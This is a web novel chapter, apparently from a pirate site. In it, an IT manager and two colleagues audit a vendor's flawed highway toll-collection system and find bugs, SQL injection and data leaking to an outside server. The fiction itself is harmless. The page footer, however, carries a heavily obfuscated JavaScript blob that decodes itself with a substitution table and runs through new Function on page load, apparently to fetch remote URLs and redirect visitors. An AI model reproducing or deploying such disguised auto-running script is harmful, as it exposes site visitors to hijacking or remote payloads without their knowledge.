首页
第33章 未雨绸缪
返回

第33章 未雨绸缪

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第33章未雨绸缪(第1/2页)
    在心里仔细地推测了一下周一会议的内容和目的,陈默拿起电话打给了老周。不一会儿,老周和李思涵就一起来到了陈默的办公室。
    看着坐在对面的老周和李思涵,陈默开口问道:“下周一开联网收费相关的会,你们接到通知了吗?”
    老周和李思涵两人互相看了一眼彼此,两人的眼中都带有疑惑。看到两人的表情,陈默心里清楚了。
    老周适时地说道:“我和思涵都没接到会议通知。不过今天下午我听见智通科技的人在工位上谈论周一开会的事了。”
    陈默点点头,不再纠结这个问题。而是转移了话题,对着两人问道:“根据你们目前掌握的情况,你们认为联网收费系统目前的情况如何?在六月底如期上线,风险大吗?”
    老周翻开他带来的本子,说道:“陈总,实话实说,我认为六月底直接发版,风险还是很大的。起码按照目前的情况来看,近期内不具备上线条件。”
    “哦?为什么呢?”陈默追问道。
    “陈总,我们都知道,一个新的系统上线前,至少要经过集成测试、灰度测试、性能测试、安全测试,以及线上环境验证。可据我所知,截至今天,集成测试还没做完呢,那后面的灰度、性能、安全、线上环境验证,都集中在一个月内完成,不现实啊。”
    “测试都是智通科技的人在做吗?”陈默说道。
    “是。咱们的人没人参与。再说,这个项目是智通科技中的标,一分钱也不给,咱们的人也没有义务帮着他们免费做测试啊。”
    陈默笑了笑,继续问道:“测试结果怎么样,现在未修改的bug多吗?”
    李思涵接话道:“陈总,单纯从bug清单上来看,如果从修改bug的比例上来说,还算可以。但我周三自己做过统计,已修改的bug绝大部分都是那些页面布局、提示词、数据类型错误等问题。而像重复扣费、计费错误、内存泄漏、数据丢包等问题,修改的比例就比较低了。目前,未修改的一二级的bug,还有两百多条。不影响系统上线的bug,反而修改的都很及时。”
    陈默点点头,接着问道:“源码你们看过吗?觉得质量如何?”
    闻言,老周直接说道:“陈总,你快别提了。我觉得我刚毕业的时候写的代码,都比智通科技的几个中级工程师写的代码质量好。我都怀疑他们是否学过编码规范。有三四个人提交的代码,都是一坨一坨的。什么命名规则、驼峰规则,都是不存在的。反正要我去给他们做代码评审,那我还不如挨一顿打好受呢。”
    陈默心中对联网收费系统这个项目的真实情况更清晰了。他想了想,随后说道:“你们俩下班后有安排吗?”老周两人都摇了摇头,表示没有安排。
    “好,既然你们俩没安排,那这样,下班后我请你们俩简单吃个便饭。然后我们晚上一起加个班,把联网收费系统目前的现状以及存在的问题,做一个系统的分析和整理。以便不时之需,怎么样?”
    “陈总,我想吃烤串了。”老周笑着说道。
    “陈总,我知道哪家的烤串好吃。”李思涵补充道。
    看着两人的样子,陈默不由得笑了,说道:“好吧,那就请你们吃烤串。”看了眼时间,距离下班还有7分钟,陈默先给林薇打电话说明了一下情况,随后对着老周二人说道:“走吧,我们提前走一会儿。”老周和李思涵把本子放回到自己的工位,便跟着陈默一起走出了办公大楼。
    吃完烤串已经快八点半了。陈默三人回到公司的时候,只有一楼大厅还亮着灯。其他楼层都是漆黑一片。老周边走边说:“陈总,你看看人家智通科技,都火烧眉毛了,可人家该下班下班,该休息休息,心咋就那么大呢?难道他们不知道自己做的系统有多烂吗?”
    “那你跳槽到智通去吧,他们少一个你这样负责任的领导。”李思涵接话说道。
    “不去,打死也不去。”老周立刻说道,“和一帮傻叉在一起,我怕我被感染了蠢病。”
    “说的你好像多聪明似的。”李思涵笑着说道。
    而陈默则笑着看两人斗嘴,说了一句:“人家那叫泰山崩于前而色不变,麋鹿兴于左而目不瞬。”
    在斗嘴声中,三人到了办公区。
    开灯、确定工作目标、分工,做好一切前置工作,三人就开始忙碌起来。
    临近午夜12点,三人才结束系统摸排工作。汇总后,发现摸排的结果和智通科技平时上报给李思涵的资料在数据上存在很大误差。
    主要集中在几个方面:
    一是代码质量问题。经对项目测试环境的运行日志进行分析,发现智通科技提交的代码存在严重缺陷:SQL注入漏洞、内存溢出风险、数据库全表扫描导致的性能瓶颈。具体问题清单见附件。
    二是数据安全问题。监控显示,项目数据被同步至智通科技在外地的一台服务器,该行为违反集团信息安全管理规定,存在数据泄漏风险。当老周对陈默说这条问题的时候,陈默愣了好半晌,心里不由得对智通科技起了敬佩之意。他们是无知者无畏,不知道单凭这一条,就能叫一些人屁股挪窝,还是抱着侥幸心理,觉得没人会发现这个问题啊?陈默严肃地嘱咐老周、李思涵两人,对此事一定要守口如瓶,毕竟这件事牵扯太大了,远不是单纯的bug可比的。
    (本章未完,请点击下一页继续阅读)第33章未雨绸缪(第2/2页)
    三是性能问题。智通科技承诺的系统并发处理能力为每秒一千二百笔交易,但经测算,在节假日高峰期,系统实际交易量可达每秒三万笔以上,差距达二十五倍。现有架构无法通过简单优化解决。
    四是失败率过高。收费站管理模块,失败率28%;路段中心结算模块,失败率41%;省中心清分清算模块,失败率为52%。
    省中心清分清算模块是核心中的核心。全省几百个收费站,每天几十万笔交易,最终都要汇总到这里,按路段、按车型、按时间,进行清分和结算。这个模块52%的失败率,意味着一半以上的核心功能有问题。
    在缺陷bug数方面,陈默三人统计出来严重缺陷112条,主要缺陷203条,一般缺陷85条。看着严重缺陷和主要缺陷的数字,陈默心越来越凉。看了眼时间,陈默又带着老周、李思涵对bug进行了同类型分类,共分为四类:第一类是‘重复扣费’,同一笔交易,在并发情况下可能被扣费两次。复现步骤:模拟两笔相同车牌的交易同时进入扣费流程,系统未做幂等校验,导致银行账户被扣两次款。第二类是计费错误。跨省交易的计费逻辑未考虑节假日免费政策,导致免费时段内仍生成扣费流水。第三类是数据丢失。数据库未配置主从同步,单点故障时会丢失故障发生期间的数据,直至故障恢复后。第四类是内存泄漏。清分清算模块在长时间运行后,JVM堆内存持续增长,十二小时后触发OutOfMemoryError,服务自动重启,重启期间所有交易挂起。
    这些都不是小bug,都是致命伤。上线后,任何一条问题都会引发系统大范围的故障,甚至是系统崩溃。
    陈默把上述问题汇总后,形成一份完整的文档,保存备份。做完这一切后,看了眼时间,都凌晨四十多了。叮嘱老周、李思涵别把今晚的事对其他人说之后,陈默就关闭电脑,开车把他们二人分别送回家。等陈默到家的时候,已经凌晨一点三十八了。
    周六,陈默陪着林薇和陈念去郊外景点游玩。在通往景点的高速上,车流量很大。在高速出口时,林薇突然笑着对陈默说道:“老公,你说智通科技做的系统发版上线后,车辆通过的速度是变快,还是变慢呢?”
    看了眼前面正井然有序的通过出口的车辆,陈默想了想,说道:“天知道。”嘴上如此说,但陈默心里对月底上线新系统后,高速出入口是否还会如此顺畅,他持有怀疑态度。至于上线后最终会带来哪些影响,他不敢想,也不愿意去想。但愿别惹出大乱子。
    在郊外玩了一天,周日陈默又带着林薇和陈念去电影院看电影、去商场买衣服、又和林薇一起,陪着陈念在游乐场玩了一下午,提前给女儿过了六一儿童节。在林薇和陈念的欢声笑语中,一家三口度过了一个愉快的周末。
    6月1日,周一上午十点半。
    运营公司班子成员、办公室主任常艳、于剑、陈默、勾成、张静怡、李明远各自坐在自己的位子上。扫视了会议室一圈,张国华淡淡地说道:“人都到齐了。现在开会。今天的会议主题就一个:关于联网收费系统的进度汇报。同志们,距离集团要求的六月底上线,只有整整一个月的时间了,今天我要求参会的各位,在智通科技汇报后,要充分发言、献计献策,有问题要及时指出,发现风险要及时指摘。这个项目的成败,关乎咱们运营公司在集团、省厅、甚至是国资委领导面前的能力展示与政治担当。所以,我要求各位在今后这一个月内,要放下门户之见,讲政治、顾大局,”
    说着,他看了一眼于剑和陈默,接着说道:“更要放下个人利益,一切都要奔着对组织负责、对整体利益负责的态度出发。同志们,你们要牢记,这个项目的成败,不但是智通科技的事,也是我们运营公司所有人员、数智公司全体的政治任务。”
    张国华停顿了一会,看了一圈参会的众人,继续说道:“我希望在接下来的汇报过程中,李总你要如实客观。有问题不怕,但要把问题说清说透,不要有任何隐瞒。需要支持的,运营公司和数智公司都会不遗余力的支持。好了,我就说这么多。李总,你开始汇报吧。”
    这时,于剑拿起笔,在本子上写下了:针对性,兵来将挡水来土掩十一个字。然后把本子推到了陈默面前。
    陈默看了看,不动声色的点点头。
    为了不被安排进项目组,陈默心里并不打算把周五晚排查的问题都暴露出来。他心里已经打算好了,要根据李明远的汇报内容,集中一个关键点,进行提问深究。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();